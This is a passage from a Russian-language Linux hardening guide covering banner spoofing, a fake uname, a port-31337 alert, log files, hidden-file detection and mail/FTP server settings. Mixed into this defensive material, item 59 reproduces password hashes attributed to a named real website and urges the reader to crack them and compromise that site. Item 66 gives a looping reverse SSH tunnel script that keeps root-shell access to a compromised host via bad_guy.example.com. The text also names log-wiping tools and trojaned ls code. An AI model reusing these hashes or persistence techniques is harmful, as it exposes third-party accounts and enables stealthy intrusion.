identd	Изучите эту программу - и вам она понравится. Определяет, кто совершил подключение по TCP. Я обычно использую это для проверки локальных пользователей. Среди возможностей - определение, какой из компьютеров был взломан, и определение того, кто совершил эту атаку. Если бы я находился на вашем месте и не знал ничего об этом сервисе, то я бы просто написал в командной строке "man identd".
atd	Позволяет пользователям планировать выполнение программ по времени. Сейчас те же функции выполняет cron или anacron, так что - лучше выключить этот сервис.
crond	Позволяет пользователям планировать выполнение программ по времени.
pcmcia	Загружает модули pcmcia в ядро, если у вас есть карточка pcmcia. И снова - эта программа нужно только пользователям laptop'ов, а для остальных это - просто трата системных ресурсов.
xinetd/inetd	Как уже обсуждалось выше, xinetd/inetd контролирует множество сетевых daemon'ов. Если ни один из этих сервисов вам не нужен, и вы не используете TCP wrapper'ы, то это можно отключить.
rawdevices	Позволяет вашей системе размещать и блокировать устройства. Это - временный сервис, который не представляет никакой угрозы в плане безопасности. Нужная вещь.

gpm	Позволяет копировать и вставлять текст в режиме командной строки. Прошлые версии имели несколько уязвимостей. Если вы работаете в Иксах, то это вам не нужно. Обычно я отключаю этот сервис по привычке, но вы можете оставить, если с ним вам удобнее работать в командной строке.
httpd	Это - веб-сервер Apache.
xfs	Это нужно только тогда, когда ваш компьютер - font-сервер.
linuxconf	Используется для внесения изменений в системные настройки. Я подозреваю, что это - разработка Red Hat. В Linux-сообществе идут вечные споры насчет этой программы. Сам я пользовался этим только тогда, когда я только начинал изучать Linux, но сейчас больше не пользуюсь. Это - временный сервис, который не представляет особого риска. Если вы им не пользуетесь - отключите.
local	Это безопасно. Local хранит скрипты вашего компьютера. Я оставляю этот сервис, но периодически проверяю и обновляю в случае проблем с безопасностью.

50. Finger демон. Многие знают, что с помощью команды finger можно узнать инфу о удаленном хосте (если конечно на нем запущен finger демон). Чтобы избежать каких-либо проблем, связанных с этим, установите последнюю версию (>1.37), просмотрите, какую именно информацию выводит данный демон о вашем хосте и по мере возможности уменьшите ее содержимое.

51. Давно известно, что прежде чем производить взлом, надо собрать информацию о жертве. Например, чтобы использовать удаленный эксплоит Sendmail, надо узнать версию Sendmail и найти эксплоит под эту версию. Если взломщик не узнает версию, то ему останеться либо искать другой путь взлома, либо попробовать все эксплоиты (что редко происходит). Вобщем цена информации понятна, приступим к делу!

52. В каталоге `/etc` есть файлы `issue` и `issue.net`, задача первого - выдать приветствие при доступе с локального терминала, а другого - с telnetd. Содержимое файлов нужно изменить, например вместо

```
"* Welcome to RedHat 6.2 *"
```

написать

```
"* Welcome to Mandrake 8.2 *"
```

Это гораздо полезней, чем написать `"* Welcome *"`, т.к. при виде приветствия Mandrake, взломщик будет ориентироваться на то, что на машине-жертве стоит Mandrake, а при появлении простого приветствия, взломщик полезет дальше, чтобы узнать информацию. Хотя он все равно узнает верную информацию, но потеряет время.

53. Файл `/etc/shells` хранит адрес к `shell`.

```
root# cat /etc/shells
/bin/sh
/bin/bash
/bin/ash
/bin/zsh
```

Тоже лучше сменить на недостоверную информацию.

```
root# echo /blah/blah > /etc/shells
```

54. `/etc/Mandrake` - Здесь хранится версия дистрибутива Unix. Посмотрите дальше сами, какие еще файлы с информацией хранятся в папке `/etc`, а мы следуем дальше.

55. Каждый взломщик, как правило, при взломе ориентируется на открытые порты на удаленной машине, то есть если открыт 31337 порт, то можно судить, что машину поимели (протроянили) и можно попытать счастья подтелнетившись туда. Но мы можем исправить это, а именно написать простой сервис, который будет висеть на 31337 порту и ждать коннекта и если кто-то позарится то мы будем иметь IP атакующего, что есть гуд.

56. При взломе, чтобы определить ОС удаленной машины юзают queso etc. Данная программа посылает запрос на машину и, получив ответ, анализирует его (в результате в зависимости от ответа определяется ОС). Твоя задача заключается в том, чтобы настроить свой файерволл таким образом, чтобы тот не отвечал на данный запрос или отвечал ложно.

57. При установке какого-то сервиса на свою машину (особенно если ты скачиваешь tar архив в исходниках), не спеши его компилировать, а обязательно обрати внимание на файл в котором указывается версия демона и по возможности измени ее на более позднюю (так например при установке tar-архива Sendmail можно залезть в sendmail*/src и изменить его версию редактированием файла version).

58. Ты наверно уже слышал о вредной для твоей линухи команде uname которая с опцией `-a` выводит информацию о атакуемой машине (тип ос, версия ядра, etc.) Для нас это не есть гуд, так что, мы переделаем эту команду так, чтобы она выводила только то, что мы ей скажем и этим самым сбивала взломщика с толку. Нормальная команда uname хранится обычно в папке `/bin`, так что залезь в нее и присвой такие права доступа: "`chmod og-rx uname`". Теперь зайди в папку `/etc/skel` – там хранятся файлы `.bashrc`, `bash_profile` и остальное добро, которое копируется в домашнюю директорию каждому юзверю на твоей машине после создания для него аккаунта. Открой файл `/etc/skel/bash_profile` – этот файл хранит в себе значения переменных (то есть он является чем-то вроде файла инициализации). Ниже я опишу некоторые переменные:

`$PATH` – хранит в себе путь к папкам, в которых хранятся файлы команд (пути к папкам разделяются "`:`" например `/bin:/usr/bin:/sbin`).
`$HOME` – хранит путь к домашней директории.
`$PS1` – хранит приглашение (по умолчанию "`$`" но можно изменить).
`!Caution!` Что бы просмотреть значения какой-то переменной юзают команду `echo $имя_переменной`.

После того как ты его открыл, присвой переменной `$PATH` первое значение `/usr/bin`. Это означает, что если будет введена команда uname, то ее сначала будут искать в `/usr/bin`, но ее там нет, поэтому исправим это. Лезь в папку `/usr/bin` и создай файл uname, после пиши в него это (аналог команды uname я написал на Перле:

```
#!/usr/bin/perl
while (<@ARGV>) {
if ($_ eq '') {
print "FreeBSD\n";
}
if ($_ eq '-a') {
$time=scalar(localtime);
print "FreeBSD 4.2.2 localhost.localdomain
 2.2.14-11src \#1 $time CERT 2000 i586 unknown\n";
}
if ($_ eq '--help')
      {
      print qq
      }
```

Использование: `uname [КЛЮЧ]...` Печатает определенные сведения о системе. По умолчанию `КЛЮЧ="-s"`.

-a, --all напечатать всю информацию
-m, --machine напечатать тип машин
-n, --nodename напечатать имя машины в сети
-r, --release напечатать номер выпуска операционной систем
-s, --sysname напечатать название операционной систем
-p, --processor напечатать тип процессора
-v напечатать версию операционной систем
--help показать эту справку и выйти
--version показать информацию о версии и выйти

Об ошибках сообщайте .\n};}

```
if ($_ eq '-m') {
print "i586\n";}
if ($_ eq '-n') {
print "localhost.localdomain\n";}
if ($_ eq '-r') {
print "2.2.14-11src\n";}
if ($_ eq '-s') {
print "FreeBSD\n";}
if ($_ eq '-p') {
print "unknown\n";}
if ($_ eq '-v') {
$time=scalar(localtime);
print "\#1 $time CERT 2000\n";}
}
```

На C программа выглядит следующим образом.

```
/* fake uname.c */

void usage (void)
{
printf("Usage: uname [OPTION]...
Print certain system information. With no OPTION, same as -s.

-a, --all print all information
-m, --machine print the machine (hardware) type
-n, --nodename print the machine's network node hostname
-r, --release print the operating system release
-s, --sysname print the operating system name
-p, --processor print the host processor type
-v print the operating system version
--help display this help and exit
--version output version information and exit

Report bugs to <bug-sh-utils@gnu.org>.");
}

void version (void)
{
printf("uname (GNU sh-utils) 2.0.11
Written by David MacKenzie.

Copyright (C) 2000 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.");
}
```

```
main (int argc, char **argv)
{

/* No options run */
if (!strncmp(argv[1],"",1))
{
printf("FreeBSD\n");
}

/* Run via -a options */
if (!strncmp(argv[1],"-a",2))
{
printf("FreeBSD 4.2.2 localhost.localdomain 2.2.14-11src #1 Sun Sep 23 17:06:39 CEST
2001 i686 unknown\n");
}

/* Run via -m options */
if (!strncmp(argv[1],"-m",2))
{
printf("i686\n");
}

if (!strncmp(argv[1],"-n",2))
{
printf("localhost.localdomain\n");
}

if (!strncmp(argv[1],"-r",2))
{
printf("2.2.14-11src #1\n");
}

if (!strncmp(argv[1],"-s",2))
{
printf("FreeBSD\n");
}

if (!strncmp(argv[1],"-p",2))
{
printf("unknown\n");
}

if (!strncmp(argv[1],"-v",2))
{
printf("#1 Sun Sep 23 17:06:39 CEST 2001\n");
}

/* print information about version of uname if options --version */
if (!strncmp(argv[1],"--version",9))
{
version();
}

/* print help */
if (!strncmp(argv[1],"--help",6))
{
     usage();
     }

     }

     /* EOF */
```

Теперь файл под именем `uname2.c` и проделываем следующее:
Сначала посмотрим что у нас за система.

```
[1dtw0lf@localhost 1dtw0lf]$ uname -a
Linux localhost.localdomain 2.4.8-26mdk #1 Sun Sep 23 17:06:39 CEST 2001 i686
unknown
```

Компилируем нашу программу:

```
[1dtw0lf@localhost 1dtw0lf]$ gcc -o uname2 uname2.c
[1dtw0lf@localhost 1dtw0lf]$ su
Password:
```

Копируем нашу новую программу в каталог `/bin`

```
[root@localhost 1dtw0lf]# cp uname2 /bin/uname
cp: overwrite `/bin/uname'? y

[root@localhost 1dtw0lf]# su 1dtw0lf
[1dtw0lf@localhost 1dtw0lf]$ uname -a
FreeBSD 4.2.2 localhost.localdomain 2.2.14-11src #1 Sun Sep 23 17:06:39 CEST 2001
i686 unknown
```

Права доступа ставь такие: "`chmod og+x uname`". Все! Теперь uname слушается тебя и говорит всем, что у тебя стоит FreeBSD, версия ядра 2.2.14-11src etc. Так ты можешь сделать и с другими командами, если ты хочешь чтобы они выводили только то, что тебе нужно.

59. Как всем известо в никсах пароли обычно хранятся в определенных файлах (`passwd`, `shadow`, `master.passwd` `/etc/shadow-`, `/etc/shadow.lock` (binary file)). В линуксе пассы лежат в `/etc/shadow`, а все остальное в `/etc/passwd`, то есть файла `/etc/master.passwd` для системы нет, а мы его сделаем не для системы, а для горе-взломщиков, которые захотят поиметь наши пассы и не увидят файла `/etc/shadow`. Для этого создай файл `/etc/master.passwd` и пиши следующее (для наглядного примера я взял файл пассов с www.crc.losrios.cc.ca.us, так что ты можешь заюзать Джонни, расшифровать их и поиметь этот сайт:

```
root:/xDSBsAdco3v.:0:3::/root:/sbin/sh
www:N74jZlzME3vI2:201:200:,,,:/www:/usr/bin/false
thomagm:GUXqxHZzHSRFU:202:20:Gina
M.Thomas-Lord,CRC,7226,:/home/thomagm:/usr/bin/rksh
apedaid:GUOPOM/y.WlhE:203:20:Dewayne
Apedaile,CRC,7392,:/home/apedaid:/usr/bin/rksh
bennetg:ral5BQAMbqbRc:208:20:GaryP.
Bennett,CRC,7353,:/home/bennetg:/usr/bin/rksh
```

Где хранятся пароли

A/UX 3.0s	`/tcb/files/auth/?/*`
FreeBSD 4.3	`/etc/master.passwd`
ConvexOS 10	`/etc/shadpw`
ConvexOS 11	`/etc/shadow`
DG/UX	`/etc/tcb/aa/user/`
HP-UX	`/.secure/etc/passwd`
IRIX 5	`/etc/shadow`
Linux 1.1	`/etc/shadow`
SunOS 4.1	`/etc/security/passwd.adjunct`
SunOS 5.0	`/etc/shadow`
UNICOS	`/etc/udb`

Win 95/98	c:\windows*.pwl
AIX 3	/etc/security/passwd или /tcb/auth/files/<первый символ логина>/<логин>
BSD4.3-Reno	/etc/master.passwd
EP/IX	/etc/shadow
OSF/1	/etc/passwd[.dir|.pag]
SCO Unix #.2.x	/tcb/auth/files/<первый символ логина>/<логин>
System V Release 4.0	/etc/shadow
System V Release 4.2	/etc/security/* database
Ultrix 4	/etc/auth[.dir|.pag]

Ты можешь сделать себе сервер на 31337 порт и если кто-то позарится сканировать тебя или подконнектится на этот порт, то ты будешь это знать. Это делается не просто, а очень просто. Для начала нужно создать файл сценария /etc/elite и записать туда следующее:

```
#!/bin/sh
echo "Someone connect on 31337 port" > bla
mail root < bla
```

Потом открыть файл сервисов /etc/services и записать:

```
elite 31337/tcp
```

Теперь открывай /etc/inetd.conf и пиши

```
"elite stream tcp wait root /etc/elite elite"
```

Все! Командой chmod a+x elite делаем файл исполняемым и перезагружаем inetd демон /etc/rc.d/init/inetd restart. Осталось только проверить его работу, поэтому телнется к себе на 31337 порт командой

```
telnet 127.0.0.1 31337
```

Если сервер запустился и ты сидишь под рутом, то тебе скоро прийдет письмо, которое будет уведомлять тебя что кто-то заинтересовался тобой и пытается законнектится на 31337 порт.

60. Обман злоумышленника. Специальные программы.

FakeBO	Это поддельный BO сервер. Типа Napster'a, только для Unix'a (точнее Linux'a). Логит все в /var/log/fakebo.log (по дефолту) или прямо на консоль. Лично мне даже приходилось сталкиваться с такой прогой. Помню как-то при скане мне nmap выдал висящий BO и ОС - Linux. Да, кстати, есть вариация и на тему NetBus'a.
AntiRoute	Эта программа предотвращает и логирует основанную на UDP маршрутизацию. То есть узнать адрес маршрутизатора, файерволла и остаться анонимным не получиться (если конечно все это не делается через шелл или специально подкованными утилитами). Если конкретнее то ваш IP'шник, порт источника и расстояния в хопах заносится в лог. Так что трейсить стандартным софтом уже опасно.
PingLogger	Записывает ICMP пакеты в определенный лог файл. Аналог ICMPinfo.

SWATCH	Эта программа превосходит по возможностям syslogd! То есть теперь на серваке сидят два сислога. Один стандартный, syslogd, а другой все логит, немедленно уведомляет о действии указанного пользователя, пытается узнать finger инфу у атакующего, а также срабатывает при определенном действии, активизации определенных команд...
Audit Daemon	Это часть Linux'оидовского ядра (встраиваемая, типа модуля:)). Она все копирует из `/proc/audit`, фильтрует и сохраняет в определенный лог файл.
Logrotate	Позволяет упаковывать и пересылать логи по мылу. Просто и доступно.
Fftool(fingerprint fucking tool)	Утилита в виде модуля к ядру, дезинформирующая утилиты подобные nmap'y.

61. Вся информация о входах в систему

```
/etc/utmp
/var/log/utmp
/usr/adm/wtmp
/var/log/wtmp
```

Вогда и откуда логинились последний раз.

```
/var/log/lastlog
/usr/adm/lastlog
```

`/etc/motd` - файл "Message Of The Day", имя машины и ОС.
`/etc/fstab` - статическая информация о замонтированных на машину файловых системах.
`/dev/mem и /dev/kmem` могут использоваться для непосредственного доступа к оперативной памяти ядра. Этим все сказано.
`/dev/hd*` и `/dev/sd*` предназначены для управления драйверами в система. Как правило, для этих файлов предоставляются права чтения пользователям специальной группы в целях предоставления данных таким программам как dump. С помощью команды `/sbin/dump` он может скопировать все файлы, обходя любые установленные права доступа, и прочитать скопированные файлы с диска.
`/etc/redhat-release` - показывает версию дистрибутива линукса, если дистрибутив основан на linux redhat (Mandrake, RedHat, BlackCat, etc.)

62. Большинство приложений, позволяющих удаленный вход в систему (OpenSSH, демоны telnet, rlogin и др.) регистрируют каждую успешную попытку входа в систему в файле `/var/log/utmp` или `/var/log/wtmp`. Программа last позволяет прочесть данные, хранящиеся в этих файлах.

```
$ last -4
bree     tps/15       192.168.10.211   Sun Oct 13  15:49     still   logged in
reegen   tty1                          Sun Oct 13  15:47  -  15:45     (00:00)
xahria   pts/2        :0.0             Sun Oct 13  15:49     still   logged in
xahria   pts/4        zhahadum         Sun Oct 13  09:28  -  15:47     (06:18)
```

Для удаления записей из этих файлов (при наличии соответствующих прав) доступно множество программ, например: wzap, zap, zap2, unix2, cloak и clear. Кроме того, их можно просто удалить. Некоторые из программ просто заменяют нежелательные записи нулями, что можно определить. Программы наподобие logchk и chrootkit позволяют выдать сообщение о тревоге и попытках редактирования этих файлов.

63. Средства поиска файлов, например команды find, ls, lsof и locate/slocate, а также поиск файлов по шаблону с помощью функции `glob()` обычно позволяют находить любые файлы. Чтобы их

скрыть, часто подменяют программы поиска файлов. Ниже приведен пример троянской версии файла `ls.c` - исходного кода для утилиты `/bin/ls`.

```
/* Возвратить ненулевое значение, если файл в 'next' должен быть выведен в списке.
*/

static int file_interesting (const struct dirent *next)
      {
      for (ignore = ignore_patterns; ignore = ignore->next)
        if (fnmatch (ignore->pattern, next->d_name, FNM_PERIOD) == 0)
         return 0;

      /*начало вставленного троянского кода*/
      if ( !strcmp(next->d_name, '...' ))
      {
            return 0;
            }
/*Конец троянского кода*/

if (really_all_files || next->d_name[0] != '.' || (all_files
...
```

В данном случае изменена функция file_interesting, которая используется для определения того, должен ли файл быть выведен в списке. Обычно, если для команды ls не указать параметр -a, файлы, имя которых начинается с точки, например, `.profile`, в списке не выводятся. В код добавлена проверка - если имя файла `...` (три точки), то он никогда не должен выводится в списке обнаруженных файлов. Вообще в устаревших (и не только) UNIX-подобных системах в имя файла можно добавлять символ возврата на одну позицию (десятичное значение 010 или ^H) для затирания предыдущих символов. Это позволяет создавать имена файлов наподобие `crackpw^H^H^H^H^H^H^Hsh`, которые будут отображаться как `sh` в перечне файлов и списках запущенных процессов. Для вывода действительного имени файла при запуске утилиты `ls` следует добавить параметр `-b`, позволяющий отображать непечатаемые символы в имени файла. Однако Linux-системы по-прежнему уязвимы для создания имен файлов с использованием непечатаемого символа пробела.

```
user$ mkdir '.. '; ls -a
.    ..   ..  my_exploit_program
user$ cd '.. '
user$ mv ../my_exploit_program 'sh '
user$ ls -a
.    ..   sh
user$ 'sh ' &
user$ ps -ef
anurup    3034  16612  0 17:16 pts/5    00:08:18  sh
```

Хотя всегда можно проверить записи непосредственно в каталоге `/proc`.

```
user$ cat /proc/3034/stat
3104  (sh )  S  16612  3104  16612  34821  3104 ....
```

В этом случае имя исполняемого процесса указывается в круглых скобках, где сразу видно лишний пробел. А узнать действительное имя запущенной программы можно по информации файла `/proc/PID/status` или `/proc/PID/stat`, где PID - идентификатор интересующего нас процесса.

```
user$ grep Name /proc/3133/status
Name:   perl
user$ cat /proc/3133/stat
3104  (perl)  S  16612  3104  16612  34821  3104 ....
```

В данном примере было определено имя процесса perl, поскольку это имя текущего исполняемого файла.
Большинство пользователей не используют флаг -a при вызове команды ls. Но даже те, кто использует этот флаг, могут не обратить внимание на то, что есть два каталога с одинаковым именем. А заметить отличие в именах запущенных процессов sh в отчете утилиты ps довольно сложно.
Чтобы выявить добавленные символы пробела к именам файлов, достаточно воспользоваться флагом -F при вызове утилиты ls. При этом после названия каждого каталога будет добавлен символ косой черты и символ звездочки после имени каждого исполняемого файла.

```
user$ ls -aF
./    ../      .. /
```

64. Информацию об удаленный файлах можно получить с помощью утилиты lsof.

```
root# lsof -c suspicious_program
prog   1360  root   cwd    DIR    3,4     1024   20197  /dev/
prog   1360  root   mem    REG    3,4    26384   58377  /dev/prog (deleted)
prog   1360  root   mem    REG    3,7    24383   40377  /lib/ld-2.1.3.so
prog   1360  root   mem    REG    3,7   404383   40256  /lib/libc-2.1.3.so
prog   1360  root    0u    REG    3,4    38383   28377  /dev/output (deleted)
prog   1360  root    5u    REG    3,5   498383   77377  /var/lib/pX18
```

В данном случае исполняемым файлом является `/dev/prog`, который был удален из файловой системы. Эта программа открывает файл `/dev/output` с дескриптором файла 0, и `/var/lib/pX18` с дескриптором файла 5.
Как правило, файл `/proc/PID/exe` является символьной ссылкой к исполняемой программе, как показано ниже.

```
root# ls /proc/$$/exe
lrwx------ reegen  cnc   0 Sep 17 18:15 /proc/16612/exe -> /bin/ksh*
```

Однако в нашем случае файл был удален.

```
root# ls /proc/$$/exe
lrwx------ root  root   0 Dec 13 09:18 /proc/1360/exe -> /dev/prog (deleted)
```

Тем не менее, мы можем получить копию удаленного файла из каталога `/proc`.

```
root# cp /proc/1360/exe /root/recovered_executable
```

Подобно этому, открытый, но удаленный файл с дескриптором #0 может быть восстановлен из каталога `/proc/PID/fd`.

```
root# cp /proc/1360/fd/0 /root/recovered_output
```

К примеру, утилита lsof в отчете выдала, что некий процесс tst использует файлы из каталога `/dev/shm/data`, которых в системе нет.

```
root# lsof -p 1282
 ....
COMMAND  PID  USER   FD  TYPE  DEVICE   SIZE  NODE  NAME
tst     5457  root    3w  REG     0,9  29833 48214  /dev/shm/data/pws (deleted)
tst     5457  root    4w  REG    30,9  29833 48214  /dev/shm/data/input (deleted)
 ....
```

Так вот, чтобы просмотреть информацию удаленных файлов, нужно просто скопировать их из соответствующих файлов каталога `/proc`.

```
root# cp /proc/5457/fd/3 /root/recover/data/pws
root# cp /proc/5457/fd/4 /root/recover/data/input
```

В данном случае 5457 является идентификатором запущенной программы tst, а дескрипторы файлов `fd3` и `fd4` относятся к процессам pws и input, соответственно (как было показано в отчете lsof).

65. С помощью операций монтирования можно скрыть от просмотра целые каталоги. Создадим, например, каталог `/opt/tmp`.

```
bad_guy:/home# cd /opt/tmp
bad_guy:/opt/tmp# ls
crackpw   passwd   words
bad_guy:/opt/tmp# crackpw &
```

Далее монтируем новую файловую систему поверх каталога `/opt/tmp`, например, раздел жесткого диска или файловую систему tmpsf.

```
bad_guy:/opt/tmp# mount size=1000 -t tmpfs /opt/tmp
bad_guy:/opt/tmp# ls
crackpw   passwd   words
bad_guy:/opt/tmp# touch blah
bad_guy:/opt/tmp# ls
blah   crackpw   passwd   words
```

В Linux 2.4 можно монтировать файловые системы поверх существующей точки монтирования. В более ранних версиях ядра монтирование возможно только поверх каталога, который не является точкой монтирования.
Программа lsof указывает на каталог /opt/tmp как на месторасположение запущенных программ и открытых файлов. Однако никакой новый процесс не может получить доступ к этому каталогу.

```
root:/root# lsof -c crackpw | egrep 'cwd|txt'
crackpw  3312  root  cwd   DIR   3,5    4096  536093  /opt/tmp
crackpw  3312  root  txt   DIR   3,5  281099   22873  /opt/tmp/crackpw
root:/root# cd /opt/tmp
root:/opt/tmp# ls -l
drwxr-xr-x   2  root    root       4096  Aug  16  18:37  ./
drwxr-xr-x   1  root    root       4096  Aug  16  18:37  ../
root@host:/opt/tmp# pwd
/opt/tmp
```

В отчете, выдаваемом утилитой lsof, нет указания на то, что файлы были удалены. В то же время ls не дает никакой информации о их наличии.
Результат выполнения команды mount (если только она не была подменена троянской версией) должен помочь определить наличие дополнительных точек монтирования.

```
root:/opt/tmp# mount
/dev/hda7 on / type ext3 (rw)
none on /proc type proc (rw)
/dev/hda2 on /boot type reiserfs (rw)
/dev/hda5 on /home type reiserfs (rw)
/dev/hda6 on /usr type reiserfs (rw)
tmpfs on /opt/tmp type tmpfs (rw)
```

Если же утилита mount была подменена троянской версией, то есть еще один способ отличить два каталога `/opt/tmp`.

```
root:/opt/tmp# lsof -p $$ | grep cwd
bash  9288  root  cwd   DIR  22,0     4096   65536  /opt/tmp
```

Шестое поле каждой строчки в отчете lsof содержит номер устройства точки монтирования. Для оригинального каталога `/opt/tmp` пара основной/дополнительный номер устройства имеет значение 3,5, а для нового каталога `/opt/tmp` - 22,0. Очевидно, что здесь что-то не так. Демонтируем данный каталог.

```
root:/opt/tmp# cd /
root:/# umount /opt/tmp
root:/# cd /opt/tmp
root:/opt/tmp# ls
blah  crackpw  passwd  words
```

66. Если доступ к системе получен, для ее управления проще всего организовать защищенное соединение с помощью службы SSH (еще добавить новую учетную запись и войти в систему от этого пользователя). Интересен вариант создания обратного SSL-туннеля.
Допустим, мы запустили собственную копию суперсервера inetd, который бы ожидал получения запросов на порт amanda с запуском командного интерпретатора с привилегиями root. Если этот порт будет заблокирован для доступа по Internet, то проще всего установить соединение с этим портом, используя возможности туннелирования протокола SSH.

```
bad_guymachine$ ssh -v bad@bad_guy -R 9999:localhost:amanda
SSH Version OpenSSH-3.5p1, protocol versions 1.5/2.0.
```

После того как SSL-соединение установлено, установленный параметр -R позволяет выполнить обратное соединение. Когда злоумышленник подключается к 9999 на своем компьютере, соединение перенаправляется на порт amanda хоста hackermachine. Теперь, чтобы подключится к командному интерпретатору с привилегиями root на удаленном компьютере, злоумышленнику достаточно подключиться к своему локальному порту 9999.

```
bad_guy$ nc localhost 9999
uname -n
bad_guymachine
```

Чтобы гарантировать себе возможность соединения с взломанным компьютером в любой момент времени, можно создать сценарий, подобный следующему. Объединив его с проверкой открытого/секретного ключей, соединение происходит без ввода пароля. Входящее соединение на взломанном хосте допускается благодаря использованию исходящего SSH-сеанса.

```
#!/bin/sh
while [1] ; do
      ssh -R9999:localhost:amanda user@bad_guy.example.com sleep 500d
done
```

Этот же метод можно применить для доступа к любому порту на скомпрометированной машине, включая SMTP-, HTTP- или IMAPI-порт, и не только для запуска командного интерпретатора с правами root. Данный пример лишь продемонстрировал, насколько это просто.

---

67. Изменение SMTP-маркера для sendmail. Для отказа от приветственного сообщения в файле `sendmail.cf` найдите строку SmtpGreetingMessage и измените.

```
# SMTP initial login message (old $e macro)
O SmtpGreetingMessage=$j Sendmail $v/$Z; $b
```

на что-либо подобное

```
# SMTP initial login message (old $e macro)
O SmtpGreetingMessage=$j BWare -SMTP spoken here; $b
```

После внесения изменений обвините конфигурацию sendmail.

```
root# killall -HUP sendmail
```

Для изменения SMTP-маркера для qmail следует изменить содержимое файла конфигурации `smtpgreeting` для демона qmail-smtpd на новое приветственное сообщение.
Для изменения идентификационного маркера для postfix следует заменить в файле main.cf

```
smtpd_banner = $myhostname ESMTP $mail_name
smtpd_banner = $myhostname ESMTP $mail_name ($mail_version)
```

на что-нибудь другое, например

```
smtpd_banner = mail.example.org ESMTP Avoid the Gates of Hell - Use Linux
```

Изменение приветственного сообщения (так называемого баннера) в программе exim осуществляется в файле `/etc/exim.conf`.

```
smtpd_banner = mail.example.org ESMTP Live Free or Die
```

68. Команда VRFY предназначается для проверки имени пользователя или адреса получателя. Однако она сейчас редко используется для этой цели. Вместо этого она может быть использована для сбора имен пользователей и адресов для рассылки спама.

```
bad_guy$ telnet mailserver.example.com 25
...
VRFY luser
250 J. Random Luser <luser@mailserver.example.com>
...
```

Отклонить VRFY-запрос можно, изменив флаг PrivacyOptions в файле `sendmail.mc`, а затем перекомпилировать файл `sendmail.cf`.

```
define('confPRIVACY_FLAGS', 'authwarnings,novrfy')dnl
```

Чтобы изменения вступили в силу, перезапустите или перезагрузите sendmail

```
root# killall -HUP sendmail
```

При попытке использования команды VRFY пользователь получит такой ответ.

```
VRFY luser
252 Cannot VRFY user; try RCPT to attempt delivery (or try finger)
```

А в системный журнал будет занесено сообщение.

```
sendmail[3237]: NOQENE: [192.168.1.100]: VRFY luser [rejected]
```

69. Команда EXPN служит для расширения почтового псевдонима до имени пользователя или почтового адреса.

```
bad_guy$ telnet mailserver.example.com 25
...
EXPN mylist
250-<vasya@example.org>
250-<k0r0l@example.org>
250-<tee@all_dogs.net>
250-<leo@all_dogs.net>
...
EXPN biglist@example.com
250 2.1.5 <|/etc/smrsh/mailinglist.pl biglist>
quit
```

Теперь мы знаем, что адрес biglist@example.com не только существует, но и что обработка почты осуществляется собственным Perl-сценарием и что sendmail использует smrsh (защищенный командный интерпретатор senmail) вместо `/bin/sh` для реализации всех функций командного интерпретатора.
В файле sendmail.cf с помощью изменения флага PrivacyOptions можно запретить ответ на EXPN-запросы.

```
# privacy flags
O PrivacyOptions=authwarnings,noexpn
```

Или можно добавить в конфигурационный файл `sendmail.mc`, а затем перекомпилировать `sendmail.cf`.

```
define('confPRIVACY_FLAGS', 'authwarnings,noexpn')dnl
```

Поскольку, скорее всего, будет отключена команда VRFY, список используемых параметров будет состоять из: `authwarnings,noexpn,novrfy`. В последней версии sendmail есть параметр goaway, включающий в себя noexpn, novrfy и другие параметры PrivacyOptions.

70. Рассмотрим содержимое файла почтовых псевдонимов sendmail.

```
bigmamoo:       george@pontoon_boat.org
pageme:         |/usr/local/bin/send_page 8837229@pagers.example.com
biglist:        :include:/etc/mail/lists/biglists
```

Псевдоним bigmamoo просто служит для установления соответствия с адресом электронной почты. Псевдоним pageme отправляет электронную почту на обработку программе с привилегиями root. Псевдоним biglist выполняет чтение расширения адреса из отдельного файла.
Просто изменив программу send_page, есть возможность выполнять команды с правами root, отправляя почту по адресу pageme. Также если пользователи будут иметь возможность управлять различными почтовыми списками в каталоге `/etc/mail/lists`, они могут добавить программы в виде включенных в этот каталог файлов и запускать их с привилегиями root.
Для предотвращения запуска внешних программ, sendmail может использовать smrsh (защищенный командный интерпретатор) для запуска всех команд командного интерпретатора. Для этого в файл sendmail.mc добавьте следующую строчку.

```
FEATURE('smrsh','path-to-smrsh')
```

Двоичный файл smrsh позволяет запускать программы только из определенного каталога (по умолчанию из `/usr/adm/sm/bin`). Убедитесь, что только суперпользователь может изменять файлы для поддержки почтового сервера `/etc/postfix` для postfix, `/var/gmail` для qmail и `/etc/exim.conf` для exim. Не следует доверять права записи этих файлов виртуальным пользователям почтовых серверов (postfix, maildrop, qmaild, qmailr и т.д.).

71. Некоторые версии программы gunzip имеют уязвимость переполнения буфера при размере имени файла больше 1024 бит. Результатом проведения успешной атаки (http://www.immunitysec.com/GOBBLES/advisories/GOBBLES-01.txt) становится доступ к командному интерпретатору посредством привязки к сетевому порту (по умолчанию 9119).

72. Управление FTP-маркером для сервера wu-ftp осуществляется с помощью нескольких конфигурационных параметров в файле `/etc/ftpaccess`.

greeting full	Выдает полное приветствие, включая имя хоста и версию демона.
greeting brief	Представляет только имя хоста
greeting terse	Выдает сообщение “FTP server ready”.

greeting text *сообщение*	Выводит только указанное сообщение.
Banner */путь/к/сообщению*	Выдает содержимое указанного файла. Может вызвать проблемы для устаревших FTP-клиентов, для которых не поддерживаются многострочные FTP-ответы.
hostname *имя*	Выводит указанное имя хоста. Это имя выдается вначале и при завершении соединения.

Убедитесь, что ваш FTP-сервер анализирует конфигурацию из файла `/etc/ftpaccess`, добавив флаг `-a` после аргумента `in.ftpd`, в командной строке для запуска wu-ftp в файле `/etc/inetd.conf`: `ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -a <другие параметры>`.
Сервер ProFTPD использует один конфигурационный файл /etc/proftpd.conf. Измените значение переменной ServerName с установленного по умолчанию “ProFTPD Default Installation” на что-либо подобное.

```
ServerName "Unauthorized use of this FTP server Prohibited. Go away."
```

73. Часть FTP-серверы устанавливают за брандмауэром в DMZ, и доступ к ним блокируется, кроме FTP-трафика, конечно. Когда FTP-сервер отправляет команду PASV, то брандмауэр должен открыть указанный порт для установки канала данных, а затем закрыть его после завершения сеанса. Однако большинство брандмауэров не контролируют действительное состояние FTP-сеанса (предпочтение отдается скорости, а не безопасности) и могут быть обманутыми. Для этого необходимо заставить FTP-сервер отправить сообщение об ошибке, которое содержит команду, похожую на PASV, или благодаря непосредственной отправке команды PASV по каналу команд от FTP-клиента.
По адресу http://www.monkey.org/~dugsong/ftp-ozone.c для эксплуатации данной уязвимости.
